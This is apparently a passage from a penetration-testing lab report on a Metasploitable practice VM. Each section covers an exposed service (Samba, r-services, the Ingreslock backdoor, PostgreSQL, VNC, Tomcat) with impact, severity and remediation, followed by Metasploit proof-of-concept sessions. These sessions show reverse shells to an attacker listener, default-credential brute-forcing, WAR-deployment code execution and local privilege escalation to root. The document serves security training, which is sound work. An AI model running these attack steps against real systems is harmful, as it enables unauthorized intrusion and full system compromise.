  LHOST     192.168.1.9      yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.10:60736) at 2026-01-02 10:50:47 -0500

whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
```

Ports 512, 513 & 514 – RLogin (r-services) Exploit

Description:

Ports 512, 513, and 514 are used by old remote access services known as *r-services*. These include **rexec (512)**, **rlogin (513)**, and **rsh (514)**, which were originally created for remote login and command execution on Unix-based systems. These services are considered insecure because they depend on trusted host relationships instead of strong authentication.

R-services send usernames, passwords, and commands in plain text, making them easy targets for attackers. If these services are enabled, an attacker can exploit trust settings or capture network traffic to gain access.

Impact:

Exploitation of ports 512, 513, and 514 can allow attackers to gain unauthorized remote access to systems. Attackers may run commands, access or steal sensitive files, and change system settings without proper authentication.

In many cases, compromised r-services are used to move laterally within a network, allowing attackers to spread to other systems. This can result in full system compromise, data breaches, service disruption, and serious security incidents, especially in enterprise environments.

Severity:

Critical

Remedial:

The most effective solution is to completely disable r-services such as rlogin, rsh, and rexec. These insecure services should be replaced with secure alternatives like **SSH**, which provides encrypted communication and strong authentication.

Firewalls should be configured to block ports 512, 513, and 514 to prevent any external or internal misuse. Any existing trust relationships between systems should be removed.

PUC:

```
(root@kali) ~/home/kali
# apt-get remove rsh tools
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package rsh
E: Unable to locate package tools

(root@kali) ~/home/kali
# rlogin -l root 192.168.1.10
Last login: Fri Jan 2 10:23:23 EST 2026 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# cd /
root@metasploitable:~# ls
bin boot cdrom dev etc home initrd initrd.img lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz
root@metasploitable:~# ls home
ftp msfadmin service user
root@metasploitable:~#
```


Port 1524 – Ingreslock Exploit

Description:

Port 1524 is commonly linked to **Ingreslock**, a known backdoor service that is intentionally left vulnerable in practice systems such as *Metasploitable*. It usually runs a bind shell that allows anyone who connects to this port to directly access a root shell without any authentication.

Originally, this port was related to the Ingres database locking mechanism, but today it is widely recognized as a malicious backdoor used for unauthorized remote access. Because no username or password is required, an attacker can easily exploit this service if it is exposed.

Impact:

If port 1524 is open and exploited, an attacker can gain instant root-level access to the system. This means full control over the machine, including the ability to execute any command, install malware, steal or destroy data, and modify system configurations.

Since the attacker already has the highest level of privileges, the system is considered completely compromised. The attacker may also create persistent backdoors, making detection difficult and increasing the risk of long-term damage.

Severity:

Critical

Remedial:

To fix the Ingreslock vulnerability, port 1524 should be immediately closed using firewall rules, and the backdoor service must be disabled or completely removed. The system should be scanned for malware, unauthorized services, and suspicious changes.

If the system's integrity is in doubt, rebuilding the machine from a clean backup is recommended. Regular port scanning, system hardening, and intrusion detection should be implemented to detect such backdoors early. Keeping systems updated and disabling unnecessary services will further reduce the risk of similar exploits in the future.

PUC:

```
(root@kali)-[/home/kali]
# telnet 192.168.1.10 1524
Trying 192.168.1.10 ...
Connected to 192.168.1.10.
Escape character is '^]'.
root@metasploitable:/# whoami
root
root@metasploitable:/# root@metasploitable:/# cd /
root@metasploitable:/# root@metasploitable:/# ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
root@metasploitable:/# root@metasploitable:/#
```

Port 5432 – PostgreSQL Exploit

Description:

Port 5432 is the default port used by **PostgreSQL**, a popular open-source relational database system. PostgreSQL becomes vulnerable when it is exposed to the network with weak or default passwords, poor authentication settings, or outdated software versions. Attackers may try brute-force attacks, misuse trust-based authentication, or exploit misconfigurations in the database setup. If proper security controls are not in place, an attacker can connect directly to the database and gain unauthorized access. Because databases often store critical and sensitive information, exposure of PostgreSQL services poses a high security risk.

Impact:

Exploitation of PostgreSQL on port 5432 can lead to unauthorized access to sensitive data such as user records, login credentials, and application data. Attackers may alter or delete database content, causing data loss or application failures.

In more serious cases, attackers can escalate privileges and potentially gain control over the underlying system. A compromised database can result in data breaches, service downtime, financial losses, and damage to the organization's reputation and customer trust.

Severity:

High

Remedial:

To reduce the risk of PostgreSQL exploitation, access to port 5432 should be restricted using firewall rules so that only trusted systems can connect.

PostgreSQL should always be updated with the latest security patches. Enabling SSL/TLS encryption protects data in transit, while role-based access control limits user permissions. Logging, regular audits, and continuous monitoring should be implemented to quickly detect and respond to suspicious database activity.

PUC:

```
root@kali: /home/kali
Session Actions Edit View Help
root@kali: /home/kali
# nmap -sS -v 192.168.1.10 -p 5432
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 10:59 EST
Nmap scan report for 192.168.1.10
Host is up (0.0018s latency).

PORT      STATE SERVICE
5432/tcp  open  postgresql
MAC Address: 08:00:27:CE:40:E6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.37 seconds

root@kali: /home/kali
msfconsole -q
msf > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

  Name              Current Setting  Required  Description
  -
  ANONYMOUS_LOGIN    false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS    false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED   5              yes       How fast to bruteforce, from 0 to 5
  CreateSession      false           no        Create a new session for every successful login
  DATABASE           template1       yes       The database to authenticate against
  DB_ALL_CREDS       false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS        false           no        Add all passwords in the current database to the list
  DB_ALL_USERS       false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING    none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  DB_USER            none           no        A specific password to authenticate with
  PASS_FILE          /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no        File containing passwords, one per line
  PROxies            true           yes       A proxy chain of format type:host:port[,type:host:port][...] Supported proxies: sapi, socks4, http, socks5, socks5h
  RETURN_ROWSSET     true           yes       Set to true to see query result sets
  RHOSTS             5432           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT              5432           yes       The target port (TCP)
  STOP_ON_SUCCESS    false          yes       Stop guessing when a credential works for a host
  THREADS            1              yes       The number of concurrent threads (max one per host)
  USERNAME           none           no        A specific username to authenticate as
  USERPASS_FILE      /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no        File containing (space-separated) users and passwords, one pair per line
  USER_AS_PASS       false          no        Try the username as the password for all users
  USER_FILE          /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no        File containing users, one per line
  VERBOSE            true           yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

```
root@kali: /home/kali
Session Actions Edit View Help

msf auxiliary(scanner/postgres/postgres_login) > use USERNAME postgres

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/postgres/postgres_login  -              normal No    PostgreSQL Login Utility
1  auxiliary/scanner/postgres/postgres_hashdump -              normal No    PostgreSQL Password Hashdump

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/postgres/postgres_hashdump

msf auxiliary(scanner/postgres/postgres_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(scanner/postgres/postgres_login) > set USER_AS_PASS false
USER_AS_PASS => false
msf auxiliary(scanner/postgres/postgres_login) > set USER_AS_PASS true
USER_AS_PASS => true
msf auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(scanner/postgres/postgres_login) > RUN
[-] Unknown command: RUN. Did you mean run? Run the help command for more details.
msf auxiliary(scanner/postgres/postgres_login) > run
[*] 192.168.1.10:5432 - No active DB -- Credential data will not be saved!
[*] 192.168.1.10:5432 - Login Successful: postgres:postgres@template1
[*] 192.168.1.10:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:scott@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:scott@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:tiger@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:postgres@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:password@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :scott:admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:tiger@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:postgres@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:password@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - LOGIN FAILED: :admin:password@template1 (Incorrect: Invalid username or password)
[*] 192.168.1.10:5432 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.10:5432 - Bruteforce completed, 1 credential was successful.
```

5900 VNC Exploit

Description:

Port 5900 is used by **VNC (Virtual Network Computing)**, a remote desktop protocol that allows users to access and control a system through a graphical interface over a network. VNC is often targeted by attackers when it is exposed to the internet with weak or default passwords, no authentication, or unencrypted connections.

In vulnerable systems such as *Metasploitable*, attackers can easily connect to the VNC service using tools like **vncviewer** and gain unauthorized access.

Because VNC provides direct screen access, any successful exploit gives the attacker strong control over the system.

Impact:

If the VNC service running on port 5900 is exploited, attackers can gain full remote desktop access to the system. This allows them to view sensitive data displayed on the screen, run commands, install malware, change system settings, and create new user accounts.

With continued access, attackers may escalate privileges and gain full administrative or root control. This can result in complete system compromise, data theft, service disruption, and serious security breaches.

Severity:

High

Remedial:

To secure VNC services and prevent exploitation, access to port 5900 should be restricted using firewalls so that only trusted IP addresses or internal networks can connect. Strong and unique passwords must be enforced, and VNC services should never be left without authentication.

Whenever possible, VNC traffic should be encrypted or tunnelled through secure channels such as SSH or VPN. Unused VNC services should be disabled, and default configurations should be changed immediately. Regular system updates, log monitoring, and security audits should be performed to detect unauthorized access attempts. Limiting user privileges and enabling session timeouts can further reduce the risk of successful VNC exploitation.

PUC:

```
msf auxiliary(<scanner/postgres/postgres_login>) > search vnc
```

Matching Modules				
#	Name	Disclosure Date	Rank	Check Description
0	auxiliary/scanner/vnc/rd_root_pw	-	normal	No Apple Remote Desktop Root Vulnerability
1	auxiliary/server/capture/vnc	-	normal	No Authentication Capture: VNC
2	payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4	-	normal	No HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasploit)
3	payload/cmd/windows/http/x64/vncinject/bind_tcp_uid	-	normal	No HTTP Fetch, Bind TCP Stager with UID Support (Windows x64)
4	payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4	-	normal	No HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasploit)
5	payload/cmd/windows/http/x64/vncinject/reverse_tcp_uid	-	normal	No HTTP Fetch, Reverse TCP Stager with UID Support (Windows x64)
6	payload/cmd/windows/http/x64/vncinject/bind_named_pipe	-	normal	No HTTP Fetch, Windows x64 Bind Named Pipe Stager
7	payload/cmd/windows/http/x64/vncinject/bind_tcp	-	normal	No HTTP Fetch, Windows x64 Bind TCP Stager
8	payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp	-	normal	No HTTP Fetch, Windows x64 IPv6 Bind TCP Stager
9	payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uid	-	normal	No HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UID Support
10	payload/cmd/windows/http/x64/vncinject/reverse_winhttp	-	normal	No HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)
11	payload/cmd/windows/http/x64/vncinject/reverse_http	-	normal	No HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)
12	payload/cmd/windows/http/x64/vncinject/reverse_https	-	normal	No HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)
13	payload/cmd/windows/http/x64/vncinject/reverse_winhttps	-	normal	No HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)
14	payload/cmd/windows/http/x64/vncinject/reverse_tcp	-	normal	No HTTP Fetch, Windows x64 Reverse TCP Stager
15	payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4	-	normal	No HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasploit)
16	payload/cmd/windows/http/x64/vncinject/bind_tcp_uid	-	normal	No HTTPS Fetch, Bind TCP Stager with UID Support (Windows x64)
17	payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4	-	normal	No HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasploit)
18	payload/cmd/windows/http/x64/vncinject/reverse_tcp_uid	-	normal	No HTTPS Fetch, Reverse TCP Stager with UID Support (Windows x64)
19	payload/cmd/windows/http/x64/vncinject/bind_named_pipe	-	normal	No HTTPS Fetch, Windows x64 Bind Named Pipe Stager
20	payload/cmd/windows/http/x64/vncinject/bind_tcp	-	normal	No HTTPS Fetch, Windows x64 Bind TCP Stager
21	payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp	-	normal	No HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager
22	payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uid	-	normal	No HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UID Support
23	payload/cmd/windows/http/x64/vncinject/reverse_winhttp	-	normal	No HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)
24	payload/cmd/windows/http/x64/vncinject/reverse_http	-	normal	No HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)
25	payload/cmd/windows/http/x64/vncinject/reverse_https	-	normal	No HTTPS Fetch, Windows x64 Reverse HTTP Stager (wininet)
26	payload/cmd/windows/http/x64/vncinject/reverse_winhttps	-	normal	No HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)
27	payload/cmd/windows/http/x64/vncinject/reverse_tcp	-	normal	No HTTPS Fetch, Windows x64 Reverse TCP Stager
28	exploit/linux/misc/igmp_command_injection	2021-02-25	excellent	Yes IGMP OS Security VNC/Terminal Command Injection RCE
29	target: Secure Terminal Service	-	-	-
30	target: Secure Shadow Service	-	-	-
31	exploit/multi/misc/legend_bot_exec	2015-04-27	excellent	Yes Legend Perl IRC Bot Remote Code Execution
32	post/osx/gather/vnc_passwords	-	normal	No OS X Display Apple VNC Password
33	post/osx/gather/enum_chicken_vnc_profile	-	normal	No OS X Gather Chicken of the VNC Profile
34	payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp	-	normal	No Powershell Exec, Bind IPv6 TCP Stager (Windows x86)
35	payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uid	-	normal	No Powershell Exec, Bind IPv6 TCP Stager with UID Support (Windows x86)
36	payload/cmd/windows/powershell/vncinject/bind_named_pipe	-	normal	No Powershell Exec, Bind TCP Stager (No Win or Win7)
37	payload/cmd/windows/powershell/vncinject/bind_tcp_rc4	-	normal	No Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasploit)
38	payload/cmd/windows/powershell/vncinject/bind_tcp_uid	-	normal	No Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasploit)
39	payload/cmd/windows/powershell/vncinject/bind_tcp	-	normal	No Powershell Exec, Bind TCP Stager (Windows x86)
40	payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uid	-	normal	No Powershell Exec, Bind TCP Stager with UID Support (Windows x64)

Interact with a module by name or index. For example info 153, use 153 or use payload/windows/x64/vncinject/reverse_tcp

```
msf auxiliary(<scanner/postgres/postgres_login>) > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(<scanner/vnc/vnc_login>) > show options
```

Module options (auxiliary/scanner/vnc/vnc_login):

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, userrealm)
PASSWORD		no	The password to test
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt	no	File containing passwords, one per line
PROXIES		no	A proxy chain of format type:host:port[, type:host:port][...]. Supported proxies: sapi, socks4, http, socks5, socks5h
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	5900	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	<BLANK>	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the info, or info -d command.

```
msf auxiliary(<scanner/vnc/vnc_login>) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf auxiliary(<scanner/vnc/vnc_login>) > set USERNAME root
USERNAME => root
msf auxiliary(<scanner/vnc/vnc_login>) > run
[*] 192.168.1.10:5900 - 192.168.1.10:5900 - Starting VNC login sweep
[*] 192.168.1.10:5900 - No active DB - Credential data will not be saved!
[*] 192.168.1.10:5900 - 192.168.1.10:5900 - Login Successful: ipassword
[*] 192.168.1.10:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(<scanner/vnc/vnc_login>) > |
```

```
(root@kali)~# vncviewer 192.168.1.10
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```


root@metasploitable: /

root@metasploitable:~# ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:ce:40:e6
 inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
 inet6 addr: 2401:4900:1c96:6fbb:a00:27ff:face:40e6/64 Scope:Global
 inet6 addr: fe80::a00:27ff:face:40e6/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:3162 errors:0 dropped:0 overruns:0 frame:0
 TX packets:3358 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:262279 (256.1 KB) TX bytes:577836 (564.2 KB)
 Base address:0xd020 Memory:f0200000-f0220000

lo Link encap:Local Loopback
 inet addr:127.0.0.1 Mask:255.0.0.0
 inet6 addr: ::1/128 Scope:Host
 UP LOOPBACK RUNNING MTU:16436 Metric:1
 RX packets:390 errors:0 dropped:0 overruns:0 frame:0
 TX packets:390 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0
 RX bytes:161577 (157.7 KB) TX bytes:161577 (157.7 KB)

root@metasploitable:~#

Ports 8009 & 8180 – Apache Tomcat Exploit

Description:

Ports 8009 and 8180 are commonly linked to **Apache Tomcat**, a widely used Java-based web application server. Port **8180** is often used to host web applications and the Tomcat Manager interface, which allows administrators to manage deployed applications. Port **8009** is used by the **AJP (Apache JServ Protocol)** connector, which connects Tomcat to a front-end web server such as Apache HTTP Server.

Attackers may log in to the Tomcat Manager and upload malicious WAR files to gain code execution. Vulnerabilities like **Ghostcat (CVE-2020-1938)** in the AJP service can also be exploited to read sensitive files or execute commands on the server.

Impact:

If Tomcat services on ports 8009 and 8180 are exploited, attackers can gain unauthorized control over web applications running on the server. This may allow them to upload malicious files, modify application content, or execute system-level commands.

Such exploitation can lead to website defacement, exposure of sensitive data, remote code execution, and even complete server compromise. A compromised Tomcat server can also be used as a pivot point to attack other systems within the network, increasing the overall impact of the attack.

Severity:

High

Remedial:

To reduce the risk of Tomcat exploitation, access to ports 8009 and 8180 should be restricted using firewalls and allowed only from trusted IP addresses or internal networks. The AJP connector should be disabled if not required, or secured using strong secrets and proper configuration.

PUC:

```
root@kali: /home/kali

Session Actions Edit View Help

msf > use exploit/multi/http/tomcat_mgr_deploy
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

  Name      Current Setting  Required  Description
  --      -
  HttpPassword          no        The password for the specified username
  HttpUsername          no        The username to authenticate as
  PATH                yes       The URI path of the manager app (/deploy and /undeploy will be used)
  Proxies              no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
  RHOSTS              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT               yes       The target port (TCP)
  SSL                  no        Negotiate SSL/TLS for outgoing connections
  VHOST                no        HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.9     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

```
meterpreter > getuid
Server username: tomcat55
meterpreter > clear
[-] Unknown command: clear. Run the help command for more details.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/http/tomcat_mgr_deploy) > use exploit/linux/local/udev_netlink
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/udev_netlink) > show options

Module options (exploit/linux/local/udev_netlink):

  Name      Current Setting  Required  Description
  --      -
  NetlinkPID          no        Usually udevd pid-1. Meterpreter sessions will autodetect
  SESSION             yes       The session to run this module on

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.9     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.
```

```
msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: java
[!] * unloadable Meterpreter extension: stdapi_ui
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2372
[*] Found netlink pid: 2371
[*] Writing payload executable (207 bytes) to /tmp/SyBDhZCfzv
[*] Writing exploit executable (1879 bytes) to /tmp/uzyQhDBhvh
[*] chmod'ing and running it ...
[*] Sending stage (1062760 bytes) to 192.168.1.10
[*] Meterpreter session 2 opened (192.168.1.9:4444 -> 192.168.1.10:42023) at 2026-01-02 11:22:51 -0500

meterpreter > getuid
Server username: root
meterpreter > shell
Process 4995 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```